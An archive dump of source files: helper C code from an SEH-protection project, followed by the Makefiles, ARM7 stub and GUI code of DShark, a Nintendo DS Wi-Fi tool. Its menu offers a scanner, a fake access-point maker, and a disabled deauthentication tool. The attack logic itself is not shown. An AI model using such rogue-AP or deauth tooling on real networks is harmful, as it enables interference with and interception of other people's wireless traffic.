     DWORD dwStackBase, dwStackTop; 
    
    //Getting stack limits
    
    /* AT&T syntax */
    asm("mov %FS:(8), %eax");
    asm("mov %%eax, %%eax" : "=a"(dwStackBase));
    
    asm("mov %FS:(4), %eax");
    asm("mov %%eax, %%eax" : "=a"(dwStackTop));
    
    /* Normal syntax (ex : Visual C++) :
              __asm{
                    MOV EAX, DWORD PTR FS:[8]
                    MOV dwStackBase, EAX
                    
                    MOV EAX, DWORD PTR FS:[4]
                    MOV dwStackTop, EAX
                    };
    */
    
    if(dwAddress < dwStackBase || dwAddress > dwStackTop)
                  return 0x0;
    
    return 0x1;
}
VOID DumpStackRegion(PUCHAR pDest, PUCHAR pSrc, DWORD dwSize)
{
     size_t i, j;
     UCHAR tmp[16] = {0x0};

     for(i = 0; i < dwSize; i+=4)
     {
           if( !IsInStack((DWORD)(pSrc+i+0x4)) )
               return;
           
           sprintf(tmp, "%x : ", (DWORD)(pSrc+i));
           strcat(pDest, tmp);
           for(j = 0; j < 4; j++)
           {
                 tmp[j] = pSrc[i+j];
                 sprintf(tmp, "%x ", tmp[j]);
                 strcat(pDest, tmp);
           }
           strcat(pDest, "\r\n");
           memset(tmp, 0x0, sizeof(tmp));
     }

     return;
}     

                       
PUCHAR InStrDisass(DWORD pAddr, DWORD dwDisassLen)
{
    PUCHAR pStr = (PUCHAR)calloc(dwDisassLen*128, sizeof(UCHAR));
    UCHAR tmp[128];// = {0x00};
    
       /* ============================= Init datas */
	DISASM MyDisasm;
	int false = 0, true = 1;
	int len, i = 0;
	int Error = 0;

	/* ============================= Init the Disasm structure (important !)*/
	(void) memset (&MyDisasm, 0, sizeof(DISASM));

	/* ============================= Init EIP */
	MyDisasm.EIP = pAddr;

	/* ============================= Loop for Disasm */
	while ((!Error) && (i<dwDisassLen)){
		len = Disasm(&MyDisasm);
		if (len != UNKNOWN_OPCODE) {

            sprintf(tmp, "%x : ", MyDisasm.EIP);
            strcat(tmp, MyDisasm.CompleteInstr);
            strcat(tmp, "\r\n");
			strcat(pStr, tmp);
			
			memset(tmp, 0, sizeof(tmp));
            
			MyDisasm.EIP = MyDisasm.EIP + len;
            i++;
		}
		else {
			Error = 1;
		}
	};
    return pStr;
}
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LILXAM_SEHOP/Useful.h

#include <windows.h>

BYTE IsValidAddress(DWORD dwAddress);
BYTE IsInStack(DWORD dwAddress);

PUCHAR InStrDisass(DWORD pAddr, DWORD dwDisassLen);
VOID DumpStackRegion(PUCHAR pDest, PUCHAR pSrc, DWORD dwSize);







__MACOSX/LILXAM_SEHOP/._Useful.h





LILXAM_SEHOP/Useful.o





__MACOSX/LILXAM_SEHOP/._Useful.o






NDS/dshark2.0.zip




arm7/Makefile


#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif

include $(DEVKITARM)/ds_rules

#---------------------------------------------------------------------------------
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
# DATA is a list of directories containing binary files
# all directories are relative to this makefile
#---------------------------------------------------------------------------------
BUILD		:=	build
SOURCES		:=	source  
INCLUDES	:=	include build
DATA		:=
 
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH	:=	-mthumb-interwork

CFLAGS	:=	-g -Wall -O2\
		-mcpu=arm7tdmi -mtune=arm7tdmi -fomit-frame-pointer\
		-ffast-math \
		$(ARCH)

CFLAGS	+=	$(INCLUDE) -DARM7
CXXFLAGS	:=	$(CFLAGS)


ASFLAGS	:=	-g $(ARCH)
LDFLAGS	=	-specs=ds_arm7.specs -g $(ARCH) -mno-fpu -Wl,-Map,$(notdir $*).map

LIBS	:= -ldswifi7 -lnds7

#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS	:=	$(LIBNDS)
 
  
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
 
export ARM7BIN	:=	$(TOPDIR)/$(TARGET).arm7
export ARM7ELF	:=	$(CURDIR)/$(TARGET).arm7.elf
export DEPSDIR	:=	$(CURDIR)/$(BUILD)

export VPATH	:=	$(foreach dir,$(SOURCES),$(CURDIR)/$(dir))
 
CFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES	:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES	:=	$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
 
export OFILES	:=	$(addsuffix .o,$(BINFILES)) \
			$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
 
export INCLUDE	:=	$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
			$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
			-I$(CURDIR)/$(BUILD)
 
export LIBPATHS	:=	$(foreach dir,$(LIBDIRS),-L$(dir)/lib)

#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
	export LD	:=	$(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
	export LD	:=	$(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------

.PHONY: $(BUILD) clean
 
#---------------------------------------------------------------------------------
$(BUILD):
	@[ -d $@ ] || mkdir -p $@
	@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
 
#---------------------------------------------------------------------------------
clean:
	@echo clean ...
	@rm -fr $(BUILD) *.elf
 
 
#---------------------------------------------------------------------------------
else
 
DEPENDS	:=	$(OFILES:.o=.d)
 
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(ARM7BIN)	:	$(ARM7ELF)
	@$(OBJCOPY) -O binary $< $@
	@echo built ... $(notdir $@)


$(ARM7ELF)	:	$(OFILES)
	@echo linking $(notdir $@)
	@$(LD)  $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@


#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data 
#---------------------------------------------------------------------------------
%.bin.o	:	%.bin
#---------------------------------------------------------------------------------
	@echo $(notdir $<)
	@$(bin2o)

-include $(DEPENDS)
 
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------









arm7/source/template.c


/*---------------------------------------------------------------------------------
	$Id: template.c,v 1.2 2005/09/07 20:06:06 wntrmute Exp $

	Simple ARM7 stub (sends RTC, TSC, and X/Y data to the ARM 9)

	$Log: template.c,v $
	Revision 1.2  2005/09/07 20:06:06  wntrmute
	updated for latest libnds changes
	
	Revision 1.8  2005/08/03 05:13:16  wntrmute
	corrected sound code


---------------------------------------------------------------------------------*/
#include <nds.h>

#include <nds/bios.h>
#include <nds/arm7/touch.h>
#include <nds/arm7/clock.h>

// DsWifi lib include - get it at http://akkit.org/dswifi/
#include <dswifi7.h>

/*
Functions defined in this file:
	void	startSound			(int sampleRate,
						const void* data,
						u32 bytes,
						u8 channel,
						u8 vol, 
						u8 pan,
						u8 format)
	s32	getFreeSoundChannel	()
	void	VblankHandler		(void)
	void	arm7_synctoarm9		()
	void	arm7_fifo			()
	int	main				(int argc, char ** argv)
*/

//---------------------------------------------------------------------------------
// startSound - Set sound properties
//---------------------------------------------------------------------------------
void startSound(int sampleRate, const void* data, u32 bytes, u8 channel, u8 vol,  u8 pan, u8 format)
{
	//---------------------------------------------------------------------------------
	// Set the samplerate of the sound.
	SCHANNEL_TIMER(channel)  = SOUND_FREQ(sampleRate);
	//---------------------------------------------------------------------------------
	// Set the sound source
	SCHANNEL_SOURCE(channel) = (u32)data;
	//---------------------------------------------------------------------------------
	// 
	SCHANNEL_LENGTH(channel) = bytes >> 2 ;
	//---------------------------------------------------------------------------------
	// Initialise flags and values.
	SCHANNEL_CR(channel)     = SCHANNEL_ENABLE | SOUND_ONE_SHOT | SOUND_VOL(vol) | SOUND_PAN(pan) | (format==1?SOUND_8BIT:SOUND_16BIT);
}

//---------------------------------------------------------------------------------
// getFreeSoundChannel - return the next (from 0 to 15) free sound channel's index.
//---------------------------------------------------------------------------------
s32 getFreeSoundChannel()
{
	int i;
	for (i = 0; i < 16; i++)
	{
		if (( SCHANNEL_CR(i) & SCHANNEL_ENABLE ) == 0 ) return i;
	}
	return -1;
}

//---------------------------------------------------------------------------------
//
//---------------------------------------------------------------------------------
void VblankHandler(void) {
	//---------------------------------------------------------------------------------
	// Initialisations	
	static int heartbeat = 0;
	
	int		t1	= 0,
			t2	= 0;

	uint8	ct[4];
	
	uint16	but		= 0,
			x		= 0,
			y		= 0,
			xpx		= 0,
			ypx		= 0,
			z1		= 0,
			z2		= 0,
			batt	= 0,
			aux		= 0;
			
	uint32	temp	= 0;
	
	u32		i;

	//---------------------------------------------------------------------------------
	// Update the heartbeat
	heartbeat++;

	//---------------------------------------------------------------------------------
	// Read the touch screen
	but = REG_KEYXY;

	if(!( but & (1 << 6) ))
	{
		touchPosition tempPos = touchReadXY();
		x = tempPos.x;
		y = tempPos.y;
		xpx = tempPos.px;
		ypx = tempPos.py;
	}

	z1 = touchRead(TSC_MEASURE_Z1);
	z2 = touchRead(TSC_MEASURE_Z2);

	
	batt = touchRead(TSC_MEASURE_BATTERY);
	aux  = touchRead(TSC_MEASURE_AUX);

	//---------------------------------------------------------------------------------
	// Read the time
	rtcGetTime((uint8 *)ct);
	BCDToInteger((uint8 *)&(ct[1]), 7);

	//---------------------------------------------------------------------------------
	// Read the temperature
	temp = touchReadTemperature(&t1, &t2);

	//---------------------------------------------------------------------------------
	// Update the IPC struct
	//IPC->heartbeat	= heartbeat;
	IPC->buttons		= but;
	IPC->touchX			= x;
	IPC->touchY			= y;
	IPC->touchXpx		= xpx;
	IPC->touchYpx		= ypx;
	IPC->touchZ1		= z1;
	IPC->touchZ2		= z2;
	IPC->battery		= batt;
	IPC->aux			= aux;

	/*for(i=0; i<sizeof(ct); i++) {
	//	IPC->curtime[i] = ct[i];
	//}*/
	
	IPC->temperature = temp;
	IPC->tdiode1 = t1;
	IPC->tdiode2 = t2;


	//---------------------------------------------------------------------------------
	//sound code  :)
	TransferSound *snd = IPC->soundData;
	IPC->soundData = 0;

	//---------------------------------------------------------------------------------
	// initially (0 != snd)
	if( snd )
	{
		for (i=0; i<snd->count; i++)
		{
			s32 chan = getFreeSoundChannel();
			if (chan >= 0)
			{
				startSound(	snd->data[i].rate,
							snd->data[i].data,
							snd->data[i].len,
							chan,
							snd->data[i].vol,
							snd->data[i].pan,
							snd->data[i].format);
			}
		}
	}

	//---------------------------------------------------------------------------------
	// update wireless in vblank
	Wifi_Update();

}

//---------------------------------------------------------------------------------
// callback to allow wifi library to notify arm9
//---------------------------------------------------------------------------------
void arm7_synctoarm9()
{
	//---------------------------------------------------------------------------------
	// send fifo message
	REG_IPC_FIFO_TX = 0x87654321;
}

//---------------------------------------------------------------------------------
// interrupt handler to allow incoming notifications from arm9
//---------------------------------------------------------------------------------
void arm7_fifo()
{
	//---------------------------------------------------------------------------------
	// check incoming fifo messages
	u32 msg = REG_IPC_FIFO_RX;
	if(msg == 0x87654321)
		Wifi_Sync();
}

//---------------------------------------------------------------------------------
// Main function
//---------------------------------------------------------------------------------
int main(int argc, char **argv)
{
	//---------------------------------------------------------------------------------
	// Allocate an unsigned integer on 4 Bytes to store the fifo temp stack.
	u32 fifo_temp;
	//---------------------------------------------------------------------------------
	// enable & prepare fifo asap
	REG_IPC_FIFO_CR = IPC_FIFO_ENABLE | IPC_FIFO_SEND_CLEAR;
	//---------------------------------------------------------------------------------
	// Reset the clock if needed
	rtcReset();
	//---------------------------------------------------------------------------------
	//enable sound. Function located in devkitPro/libnds/include/nds/system.h - Line 150 : void powerON(int on) { REG_POWERCNT |= on;}
	powerON(POWER_SOUND);
	//---------------------------------------------------------------------------------
	// #define SOUND_CR          (*(vuint16*)0x04000500) in devkitPro/libnds/include/nds/arm7/audio.h line 82;
	// #define SOUND_ENABLE	BIT(15) in the same file, line 57;
	// #define SOUND_VOL(n)	(n) in the same file. Line 55;
	SOUND_CR = SOUND_ENABLE | SOUND_VOL(0x7F);
	//---------------------------------------------------------------------------------
	// #define IPC getIPC() in devkitPro/libnds/include/nds/ipc.h in line 134 and
	// static inline TransferRegion volatile * getIPC() return (TransferRegion volatile *)(0x027FF000); in the same file, line 130
	IPC->soundData = 0;

	//---------------------------------------------------------------------------------
	// 
	irqInit();
	//---------------------------------------------------------------------------------
	//
	irqSet(IRQ_VBLANK, VblankHandler);
	//---------------------------------------------------------------------------------
	//
	irqEnable(IRQ_VBLANK);

	irqSet(IRQ_WIFI, Wifi_Interrupt); // set up wifi interrupt
	irqEnable(IRQ_WIFI);

	//---------------------------------------------------------------------------------
	// sync with arm9 and init wifi	
	while(1)
	{
		while(REG_IPC_FIFO_CR & IPC_FIFO_RECV_EMPTY)
			swiWaitForVBlank();
		//---------------------------------------------------------------------------------
		// put REG_IPC_FIFO_RX into fifo_temp variable. (defined above, line 153)
		fifo_temp = REG_IPC_FIFO_RX;
		//---------------------------------------------------------------------------------
		// wait for magic number and return.
		if(fifo_temp == 0x12345678)
			break;
	}
	
	//---------------------------------------------------------------------------------
	//
	while(REG_IPC_FIFO_CR & IPC_FIFO_RECV_EMPTY)
		swiWaitForVBlank();
	
	//---------------------------------------------------------------------------------
	//
	fifo_temp = REG_IPC_FIFO_RX; // give next value to wifi_init
	//---------------------------------------------------------------------------------
	//
	Wifi_Init(fifo_temp);

	//---------------------------------------------------------------------------------
	//
	irqSet(IRQ_FIFO_NOT_EMPTY, arm7_fifo); // set up fifo irq
	//---------------------------------------------------------------------------------
	//
	irqEnable(IRQ_FIFO_NOT_EMPTY);
	//---------------------------------------------------------------------------------
	//
	REG_IPC_FIFO_CR = IPC_FIFO_ENABLE | IPC_FIFO_RECV_IRQ;

	//---------------------------------------------------------------------------------
	// allow wifi lib to notify arm9
	Wifi_SetSyncHandler(arm7_synctoarm9); 
	//---------------------------------------------------------------------------------
	// At this point, the arm7 wifi initialisation should be complete.
	
	//---------------------------------------------------------------------------------
	// Keep the ARM7 out of main RAM
	while (1)
		swiWaitForVBlank();
}










arm9/Makefile


#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif

include $(DEVKITARM)/ds_rules

GRIT = $(DEVKITARM)/bin/grit.exe

#---------------------------------------------------------------------------------
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
# DATA is a list of directories containing binary files
# all directories are relative to this makefile
#---------------------------------------------------------------------------------
BUILD		:=	build

#
# SOURCES
#
SOURCE = source
SOURCES	:=	$(SOURCE) \
				$(SOURCE)/gui \
				$(SOURCE)/gui/base \
				$(SOURCE)/wifi
				
INCLUDES	:=	include
DATA		:= data
GRAPHICS	:=	gfx

#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH	:=	-mthumb -mthumb-interwork

# note: arm9tdmi isn't the correct CPU arch, but anything newer and LD
# *insists* it has a FPU or VFP, and it won't take no for an answer!
CFLAGS	:=	-g -Wall -O2\
 			-mcpu=arm9tdmi -mtune=arm9tdmi -fomit-frame-pointer\
			-ffast-math \
			$(ARCH)

CFLAGS	+=	$(INCLUDE) -DARM9
CXXFLAGS	:=	$(CFLAGS)

ASFLAGS	:=	-g $(ARCH)
LDFLAGS	=	-specs=ds_arm9.specs -g $(ARCH) -mno-fpu -Wl,-Map,$(notdir $*.map)

#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS	:=  -lfat -ldswifi9 -lnds9
 
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS	:=	$(LIBNDS)
 
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
 
export ARM9BIN	:=	$(TOPDIR)/$(TARGET).arm9
export ARM9ELF	:=	$(CURDIR)/$(TARGET).arm9.elf
export DEPSDIR := $(CURDIR)/$(BUILD)

export VPATH	:=	$(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
					$(foreach dir,$(DATA),$(CURDIR)/$(dir))\
					$(foreach dir,$(GRAPHICS),$(CURDIR)/$(dir))
					 
CFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES	:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES	:=	$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
PNGFILES	:=	$(foreach dir,$(GRAPHICS),$(notdir $(wildcard $(dir)/*.png)))
 
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
	export LD	:=	$(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
	export LD	:=	$(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------

export OFILES	:=	$(addsuffix .o,$(BINFILES)) \
					$(PNGFILES:.png=.o) \
					$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
 
export INCLUDE	:=	$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
			$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
			-I$(CURDIR)/$(BUILD)
 
export LIBPATHS	:=	$(foreach dir,$(LIBDIRS),-L$(dir)/lib)
 
.PHONY: $(BUILD) clean
 
#---------------------------------------------------------------------------------
$(BUILD):
	@[ -d $@ ] || mkdir -p $@
	@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
 
#---------------------------------------------------------------------------------
clean:
	@echo clean ...
	@rm -fr $(BUILD) *.elf *.nds* *.bin 
 
 
#---------------------------------------------------------------------------------
else
 
DEPENDS	:=	$(OFILES:.o=.d)
 
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(ARM9BIN)	:	$(ARM9ELF)
	@$(OBJCOPY) -O binary $< $@
	@echo built ... $(notdir $@)

$(ARM9ELF)	:	$(OFILES)
	@echo linking $(notdir $@)
	@$(LD)  $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@

#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data 
#---------------------------------------------------------------------------------
%.bin.o	:	%.bin
#---------------------------------------------------------------------------------
	@echo $(notdir $<)
	@$(bin2o)

#---------------------------------------------------------------------------------
%.s %.h	: %.png %.grit
#---------------------------------------------------------------------------------
	$(GRIT) $< -fts -o$*


-include $(DEPENDS)
 
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------










arm9/data/ASCII.bin








arm9/gfx/hzv.grit


# 8 bit bitmap
-gB8

# bitmap format
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arm9/source/dshark.cpp


#include "dshark.h"
#include "gui/base/gui.h"
#include "gui/scanner.h"
#include "gui/fakeap.h"

#define		VCOUNT		(*((u16 volatile *) 0x04000006))

#define STATIONS_WIN 3005
#define FAKEAP_WIN 3001
#define SCANNER_WIN	3002
#define SCANNER_BTN_ID 3003
#define FAKEAP_BTN_ID 3004
#define STATIONS_BTN_ID 3006
#define DAUTH_BTN_ID 3007
#define DEAUTH_WIN 3008

DSharkMenu::DSharkMenu() : UIFrame(SCREEN_SUB,0,0,31,23,0,"[ DShark v2 by virtualabs ]")
{
	//printf("Build main interface\n");
//	m_items[2] = new UIButton(2,10,27,2,DAUTH_BTN_ID,"Deauth tool");
//	m_items[2]->AddListener(this);
//	AddControl(m_items[2]);
	UIBox *up = new UIBox(SCREEN_MAIN,0,0,31,23,-1);
	up->AddLabel(5,6,29,1,-1,"\x20\xDB\xDB\xDB\xDB\xDB\x20\x20\xDB\x20\xDB\x20\xDB\xDB\xDB\x20\xDB\x20\xDB");
	up->AddLabel(5,7,29,1,-1,"\xDB\xDB\xDB\xDB\x20\x20\xDB\x20\xDB\x20\xDB\x20\x20\x20\xDB\x20\xDB\x20\xDB");
	up->AddLabel(5,8,29,1,-1,"\xDB\x20\x20\xDB\x20\x20\xDB\x20\xDB\xDB\xDB\x20\x20\xDB\x20\x20\xDB\x20\xDB");
	up->AddLabel(5,9,29,1,-1,"\xDB\xDB\xDB\xDB\xDB\xDB\xDB\x20\xDB\x20\xDB\x20\xDB\x20\x20\x20\xDB\x20\xDB");
	up->AddLabel(5,10,29,1,-1,"\x20\xDB\xDB\xDB\xDB\xDB\x20\x20\xDB\x20\xDB\x20\xDB\xDB\xDB\x20\x20\xDB\x20");
	up->AddLabel(5,11,27,1,-1,"\x20\xDB\x20\xDB\x20\xDB\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20");
	up->AddLabel(5,13,27,1,-1," Dshark version 2.0");
	up->AddLabel(5,14,27,1,-1,"     virtualabs");
	AddControl(up);

	
	m_items[1] = new UIButton(SCREEN_SUB,2,6,27,2,FAKEAP_BTN_ID,"[Y] Fake APs");
	m_items[1]->SetAccelerator(KEY_Y);
	m_items[1]->AddListener(this);
	AddControl(m_items[1]);
   
	m_items[0] = new UIButton(SCREEN_SUB,2,2,27,2,SCANNER_BTN_ID,"[X] Scanner");
	m_items[0]->SetAccelerator(KEY_X);
	m_items[0]->AddListener(this);
	AddControl(m_items[0]);

	m_scan = new ScannerFrame(SCANNER_WIN);
	m_scan->AddListener(this);
	m_scan->SetVisible(0);
	AddControl(m_scan);	

	m_fap = new FakeAPMaker(FAKEAP_WIN);
	m_fap->AddListener(this);
	m_fap->SetVisible(0);
	AddControl(m_fap);
/*
	m_deauth = new DeauthTool(DEAUTH_WIN);
	m_deauth->AddListener(this);
	m_deauth->SetVisible(0);
	AddControl(m_deauth);
*/
}

DSharkMenu::~DSharkMenu()
{
}

void DSharkMenu::OnClick(int id)
{
   switch(id)
   {
	case SCANNER_BTN_ID:
		StartScanner();
		break;
			
	case FAKEAP_BTN_ID:
	   StartFakeAPs();
	   break;
#if 0		   
	case DAUTH_BTN_ID:
	   SetVisible(0);
	   m_deauth->SetVisible(1);
	   break;
#endif
	}
}	

void DSharkMenu::StartScanner()
{
	// displays the scanner
	SetVisible(0);
	m_scan->SetVisible(1);
}

void DSharkMenu::StartFakeAPs()
{
	SetVisible(0);
	m_fap->SetVisible(1);
}   

void DSharkMenu::SetVisible(int v)
{
	int i;
   
	for(i=0;i<2;i++)
		m_items[i]->SetVisible(v);
}

void DSharkMenu::OnClose(int id)
{
   switch(id)
   {
	case SCANNER_WIN:
		m_scan->SetVisible(0);
		break;
   		
   	case FAKEAP_WIN:
		m_fap->SetVisible(0);
		break;
	}
	SetVisible(1);   	
}

/*************************************
*** DSharkMain
*************************************/

DSharkMain::DSharkMain()
{
   /* Initialize the UI */
   m_gui = DSharkUI::getInstance();
}

void DSharkMain::Main()
{
   m_gui->Main();
}

int main(int argc,char**argv)
{
	DSharkMain *wm = new DSharkMain();
	DSharkMenu *menu = new DSharkMenu();
	DSharkUI::getInstance()->RegisterCtrl(menu);

	wm->Main();

	return 0;
}

   










arm9/source/dshark.h


#ifndef __INC_DSHARK_MAIN_H
#define __INC_DSHARK_MAIN_H

#include <nds.h>

#include "gui/base/gui.h"
#include "gui/fakeap.h"
#include "gui/scanner.h"
#include "gui/deauth.h"

class DSharkMenu : public UIFrame
{
	//
public:   
	DSharkMenu();
	~DSharkMenu();

	void OnClick(int id);
	void OnClose(int id);

	void SetVisible(int v);

	void StartScanner();
	void StartFakeAPs();

private:
	UIButton		*m_items[2];
	ScannerFrame	*m_scan;
	FakeAPMaker		*m_fap;
	DeauthTool		*m_deauth;
};

class DSharkMain
{
public:

	/* constructor */     
	DSharkMain();
	
	/* main */
	void Main();
	
private:
	
	/* user interface ref */
	DSharkUI *m_gui;      
};

#endif










arm9/source/gui/base/gui.cpp


#include "gui.h"

#include "ascii_bin.h"

// VRAM1 : MAIN BG0
#define		VRAM1		((u16 *) 0x06000000)
// VRAM2 : SUB BG0
#define		VRAM2		((u16 *) 0x06200000)
#define		VCOUNT		(*((u16 volatile *) 0x04000006))
#define PAL_BG1	((volatile u16 *)0x05000000)
#define PAL_BG2	((volatile u16 *)0x05000400)
#define RGB(r,g,b) ((r) | ((g)<<5) | ((b)<<10))

#define KEYPRESSED(k)	(keysDown()&k)==k?1:0
#define ALL_KEYS (	KEY_A 		|\
							KEY_B 		|\
							KEY_X 		|\
							KEY_Y 		|\
							KEY_L 		|\
							KEY_R 		|\
							KEY_START 	|\
							KEY_SELECT )

#define GOT_SWAP ((keysDown()&(KEY_L))==(KEY_L))

/**********************************
*** DSharkUI
**********************************/

DSharkUI::DSharkUI()
{
   int i;
   
   /* Initialize the screens */
	powerON(POWER_ALL_2D);// | POWER_SWAP_LCDS); 
	vramSetMainBanks(VRAM_A_MAIN_BG,VRAM_B_MAIN_BG,VRAM_C_SUB_BG,VRAM_D_LCD);

	m_self = this;

	DISPLAY_CR=0x00012100;
	SUB_DISPLAY_CR=0x00012100;

	/* Set top screen */

	// clear vram
	for(i=0;i<32768;i++) {
		VRAM1[i]=VRAM2[i]=0;
	}
	
	
	BG0_CR=0x1f80;
	SUB_BG0_CR=0x1f80;										   

	PAL_BG1[0]=RGB(0,0,0);
	PAL_BG2[0]=RGB(0,0,0);
	WIN_IN=0x000f;
	WIN_OUT=0x00ff;
	BLEND_CR=0x00E0;
	BLEND_Y=15;
	SUB_WIN_IN=0x000f;
	SUB_WIN_OUT=0x00ff;
	SUB_BLEND_CR=0x00E0;
	SUB_BLEND_Y=15;
	
	for(i=0;i<8;i++) {
		PAL_BG1[i+1]=RGB(31,31,31);
		PAL_BG2[i+1]=RGB(31,31,31);
	}
	for(i=0;i<256*8*4;i++) {
		((u16 *)BG_TILE_RAM(0))[i]=((u16 *)ASCII_bin)[i];
		((u16 *)BG_TILE_RAM_SUB(0))[i]=((u16 *)ASCII_bin)[i];
	}

	/* Initialize vector */
	m_ctrls.clear();	

#if 0
	videoSetMode(MODE_0_2D | DISPLAY_BG0_ACTIVE | DISPLAY_BG1_ACTIVE);	//sub bg 0 will be used to print text
	BG0_CR = BG_MAP_BASE(31);

	BG_PALETTE[255] = RGB15(31,31,31);	//by default font will be rendered with color 255

	//consoleInit() is a lot more flexible but this gets you up and running quick
	consoleInitDefault((u16*)SCREEN_BASE_BLOCK(31), (u16*)CHAR_BASE_BLOCK(0), 16);

	videoSetMode(MODE_0_2D | DISPLAY_BG3_ACTIVE| DISPLAY_BG1_ACTIVE);

	BG3_CR = BG_BMP8_256x256;
	

	// these are rotation backgrounds so you must set the rotation attributes:
    // these are fixed point numbers with the low 8 bits the fractional part
    // this basicaly gives it a 1:1 translation in x and y so you get a nice flat bitmap
        BG3_XDX = 1 << 8;
        BG3_XDY = 0;
        BG3_YDX = 0;
        BG3_YDY = 1 << 8;
    // our bitmap looks a bit better if we center it so scroll down (256 - 192) / 2
        BG3_CX = 0;
        BG3_CY = 32 << 8;

	dmaCopy(hzvBitmap, BG_GFX, 256*256);
	dmaCopy(hzvPal, BG_PALETTE, 256*2);
#endif

};

void DSharkUI::Print(int screen,int x, int y, const char * str) {
	while(*str) {
		if(x==32) {x=0; y++;}
		if(y==24) return;
		GetScreen(screen)[0x07C00+y*32+x++]=*str;
		str++;
	}
}

void DSharkUI::DrawChr(int screen, int x, int y, int c)
{
	GetScreen(screen)[0x07C00+y*32+x]=c;
}


void DSharkUI::DrawRect(int screen, int x, int y, int w, int h)
{
  	int i;
	if(x<0 || y<0 || (x+w)>31 || (y+h)>23) return;
	for(i=x+1;i<(x+w);i++) { DrawChr(screen,i,y,0xC4); DrawChr(screen,i,y+h,0xC4); }
	for(i=y+1;i<(y+h);i++) { DrawChr(screen,x,i,0xB3); DrawChr(screen,x+w,i,0xB3); }
	DrawChr(screen,x,y,0xDA);DrawChr(screen,x,y+h,0xC0);DrawChr(screen,x+w,y,0xBF);DrawChr(screen,x+w,y+h,0xD9);
}

void DSharkUI::ClearZone(int screen,int x, int y, int w, int h)
{
	int x_,y_;
	for(x_=x;x_<(x+w);x_++)
		for (y_=y;y_<(y+h);y_++)
			GetScreen(screen)[0x07C00+y_*32+x_]=0x20;
}

void DSharkUI::DrawTitledRect(int screen,int x, int y, int w, int h, char *title)
{
  	int i,s;
	char st[31];
	
	if(x<0 || y<0 || (x+w)>31 || (y+h)>23) return;
	
	/* draw rect */
	for(i=x+1;i<(x+w);i++) { DrawChr(screen,i,y,0xCD); DrawChr(screen,i,y+h,0xC4); }
	for(i=y+1;i<(y+h);i++) { DrawChr(screen,x,i,0xB3); DrawChr(screen,x+w,i,0xB3); }
	DrawChr(screen,x,y,0xD5);DrawChr(screen,x,y+h,0xC0);DrawChr(screen,x+w,y,0xB8);DrawChr(screen,x+w,y+h,0xD9);
	
	/* draw text */
	s = (w - strlen(title))/2;
	if (s<0)
	{
		memcpy(st,title,26);
		st[27] = '.';
		st[28] = '.';
		st[29] = '.';
		st[30] = '\0';
	}
	else
	{
